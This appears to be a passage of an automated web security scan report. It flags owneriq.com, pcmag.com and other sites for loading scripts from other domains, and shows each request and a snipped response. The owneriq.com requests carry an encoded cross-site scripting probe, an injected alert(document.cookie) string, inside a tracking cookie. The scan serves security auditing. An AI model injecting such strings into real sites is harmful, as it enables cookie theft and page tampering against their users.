http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /retailers-and-manufacturers HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:08 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 30508

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Retailers and Manufacturers
...[SNIP]...


<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...
</script>

<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">

</script>
...[SNIP]...

21.350. http://www.owneriq.com/retargeting previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/retargeting

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /retargeting HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:41 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 29850

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Retargeting | OwnerIQ</t
...[SNIP]...


<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.351. http://www.owneriq.com/reversing-market-research previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/reversing-market-research

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://cdn.jquerytools.org/1.2.3/full/jquery.tools.min.js
http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /reversing-market-research HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:02 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 10558

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Video Library | OwnerIQ</title
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/video-buttons.css" />

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"> </script>
...[SNIP]...

<script src="http://cdn.jquerytools.org/1.2.3/full/jquery.tools.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.352. http://www.owneriq.com/sitemap previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/sitemap

Issue detail

The response dynamically includes the following scripts from other domains:

http://live.activeconversion.com/ac.js
http://t2.trackalyzer.com/trackalyze.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /sitemap HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:10 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14087

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>OwnerIQ | Sitemap</title>

...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

21.353. http://www.pchell.com/support/toptext.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pchell.com
Path:	/support/toptext.shtml

Issue detail

The response dynamically includes the following scripts from other domains:

http://forms.aweber.com/form/24/28377224.js
http://kona.kontera.com/javascript/lib/KonaLibInline.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://scripts.chitika.net/eminimalls/amm.js
http://www.google-analytics.com/urchin.js

Request

GET /support/toptext.shtml HTTP/1.1
Host: www.pchell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:20 GMT
Server: Apache
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
Content-Length: 39216

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>PC Hell: How to Remove Ezula Top
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script src="http://scripts.chitika.net/eminimalls/amm.js" type="text/javascript">
</script>
...[SNIP]...
</script>
<script src="http://scripts.chitika.net/eminimalls/amm.js" type="text/javascript">
</script>
...[SNIP]...
<p align="center">
<script type="text/javascript" src="http://forms.aweber.com/form/24/28377224.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</table>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" SRC="http://kona.kontera.com/javascript/lib/KonaLibInline.js"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/&\|http:/www.pcmag.com/reviews\|http:/www.pcmag.com/category2/0,2806,24,00.asp\|http:/www.pcmag.com/category2/0,2806,9,00.asp\|http:/www.pcmag.com/category2/0,2806,4829,00.asp\|http:/www.pcmag.com/category2/0,2806,2201,00.asp\|office.microsoft.com\|www.healthline.com/$\|http:/www.terra.com.mx/default.htm\|http:/www.terra.com/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.ziffdavis.com/js/betrad.js

Request

GET /&|http:/www.pcmag.com/reviews|http:/www.pcmag.com/category2/0,2806,24,00.asp|http:/www.pcmag.com/category2/0,2806,9,00.asp|http:/www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Length: 134938
Content-Type: text/html
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 06 Feb 2011 16:10:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 06 Feb 2011 16:10:21 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...
<div id="microAd">
<script src="http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1" type="text/javascript"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/category2/0,2806,2201,00.asp\|office.microsoft.com\|www.healthline.com/$\|http:/www.terra.com.mx/default.htm\|http:/www.terra.com/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.ziffdavis.com/js/betrad.js

Request

GET /category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Sun, 06 Feb 2011 16:11:04 GMT
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Cache-Control: public, max-age=0
Expires: Sun, 06 Feb 2011 16:10:27 GMT
Date: Sun, 06 Feb 2011 16:10:27 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 134938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...
<div id="microAd">
<script src="http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1" type="text/javascript"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/category2/0,2806,24,00.asp\|http:/www.pcmag.com/category2/0,2806,9,00.asp\|http:/www.pcmag.com/category2/0,2806,4829,00.asp\|http:/www.pcmag.com/category2/0,2806,2201,00.asp\|office.microsoft.com\|www.healthline.com/$\|http:/www.terra.com.mx/default.htm\|http:/www.terra.com/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.ziffdavis.com/js/betrad.js

Request

GET /category2/0,2806,24,00.asp|http:/www.pcmag.com/category2/0,2806,9,00.asp|http:/www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Sun, 06 Feb 2011 16:10:32 GMT
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Cache-Control: public, max-age=0
Expires: Sun, 06 Feb 2011 16:10:36 GMT
Date: Sun, 06 Feb 2011 16:10:36 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 134938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...
<div id="microAd">
<script src="http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1" type="text/javascript"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/category2/0,2806,4829,00.asp\|http:/www.pcmag.com/category2/0,2806,2201,00.asp\|office.microsoft.com\|www.healthline.com/$\|http:/www.terra.com.mx/default.htm\|http:/www.terra.com/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.ziffdavis.com/js/betrad.js

Request

GET /category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Type: text/html
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Cache-Control: private, max-age=3600
Date: Sun, 06 Feb 2011 16:10:37 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 134938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...
<div id="microAd">
<script src="http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1" type="text/javascript"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/category2/0,2806,9,00.asp\|http:/www.pcmag.com/category2/0,2806,4829,00.asp\|http:/www.pcmag.com/category2/0,2806,2201,00.asp\|office.microsoft.com\|www.healthline.com/$\|http:/www.terra.com.mx/default.htm\|http:/www.terra.com/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.ziffdavis.com/js/betrad.js

Request

GET /category2/0,2806,9,00.asp|http:/www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Type: text/html
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Cache-Control: private, max-age=3565
Date: Sun, 06 Feb 2011 16:10:37 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 134938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...
<div id="microAd">
<script src="http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1" type="text/javascript"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/reviews\|http:/www.pcmag.com/category2/0,2806,24,00.asp\|http:/www.pcmag.com/category2/0,2806,9,00.asp\|http:/www.pcmag.com/category2/0,2806,4829,00.asp\|http:/www.pcmag.com/category2/0,2806,2201,00.asp\|office.microsoft.com\|www.healthline.com/$\|http:/www.terra.com.mx/default.htm\|http:/www.terra.com/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.ziffdavis.com/js/betrad.js

Request

GET /reviews|http:/www.pcmag.com/category2/0,2806,24,00.asp|http:/www.pcmag.com/category2/0,2806,9,00.asp|http:/www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Length: 134938
Content-Type: text/html
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 06 Feb 2011 16:10:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 06 Feb 2011 16:10:50 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...
<div id="microAd">
<script src="http://ad.yieldmanager.com/pixel?id=121665&id=70017&t=1" type="text/javascript"></script>
...[SNIP]...

21.360. http://www.pdf-freedownload.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pdf-freedownload.net
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0642/Toolbar_642899/Loader_642899.js?ver=3.0.4
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.pdf-freedownload.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:48:35 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sat, 05 Feb 2011 21:22:47 GMT
ETag: "61d0054-a675-99a1f7c0"
Accept-Ranges: bytes
Content-Length: 42613
Cache-Control: max-age=300, must-revalidate
Expires: Sat, 05 Feb 2011 21:53:35 GMT
Vary: Accept-Encoding,Cookie
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://cdn.wibiya.com/Toolbars/dir_0642/Toolbar_642899/Loader_642899.js?ver=3.0.4'></script>
...[SNIP]...

21.361. http://www.pdf-search-engine.net/malayalam-kochupusthakam-pdf.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pdf-search-engine.net
Path:	/malayalam-kochupusthakam-pdf.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.statcounter.com/counter/counter_xhtml.js

Request

GET /malayalam-kochupusthakam-pdf.html HTTP/1.1
Host: www.pdf-search-engine.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 01:21:07 GMT
Server: Apache/2.2.14 (EL)
X-Powered-By: PHP/5.2.11
Connection: close
Content-Type: text/html
Content-Length: 12044

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head>
<meta ht
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script>
...[SNIP]...

21.362. http://www.pdfforge.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pdfforge.org
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.pdfforge.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:09:17 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.7
Set-Cookie: SESSc75490b6e05df4b955c54eec3097373b=o8ot6jt3lo29pi8jckb7f0fjc2; expires=Tue, 01-Mar-2011 01:42:37 GMT; path=/; domain=.pdfforge.org
Last-Modified: Sat, 05 Feb 2011 22:05:03 GMT
ETag: "ff0ffe33d43c31cea41ae173d1fb80bd"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 10866

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<me
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

